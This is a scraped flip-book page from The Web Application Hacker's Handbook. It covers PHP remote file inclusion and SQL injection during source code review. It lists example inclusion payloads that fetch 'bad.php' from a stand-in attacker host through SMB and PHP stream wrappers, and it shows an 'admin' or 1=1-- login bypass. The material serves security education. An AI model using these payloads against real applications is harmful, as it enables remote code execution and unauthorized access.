19.09.2017 Views

the-web-application-hackers-handbook

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Chapter 19 n Finding Vulnerabilities in Source Code 729<br />

Even if allow_url_fopen is set to 0, <strong>the</strong> methods listed in Table 19-9 may still<br />

enable an attacker to access remote files (depending on <strong>the</strong> extensions installed).<br />

Table 19-9: Methods That May Allow Access to Remote Files Even If allow_url_fopen<br />

Is Set to 0<br />

METHOD<br />

SMB<br />

PHP input/output<br />

streams<br />

Compression streams<br />

Audio streams<br />

EXAMPLE<br />

\\wahh-attacker.com\bad.php<br />

php://filter/resource=http://wahh-attacker.<br />

com/bad.php<br />

compress.zlib://http://wahh-attacker.com/<br />

bad.php<br />

ogg://http://wahh-attacker.com/bad.php<br />

NOTE PHP 5.2 and later releases have a new option, allow_url_include,<br />

which is disabled by default. This default configuration prevents any of <strong>the</strong><br />

preceding methods from being used to specify a remote file when calling one<br />

of <strong>the</strong> file include functions.<br />

Database Access<br />

The following functions are used to send a query to a database and retrieve<br />

<strong>the</strong> results:<br />

n mysql_query<br />

n mssql_query<br />

n pg_query<br />

The SQL statement is passed as a simple string. If user-controllable input<br />

is part of <strong>the</strong> string parameter, <strong>the</strong> <strong>application</strong> is probably vulnerable to SQL<br />

injection. For example:<br />

$username = “admin’ or 1=1--”;<br />

$password = “foo”;<br />

$sql=”SELECT * FROM users WHERE username = ‘$username’<br />

AND password = ‘$password’”;<br />

$result = mysql_query($sql, $link)<br />

executes this unintended query:<br />

SELECT * FROM users WHERE username = ‘admin’ or 1=1--’<br />

AND password = ‘foo’

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!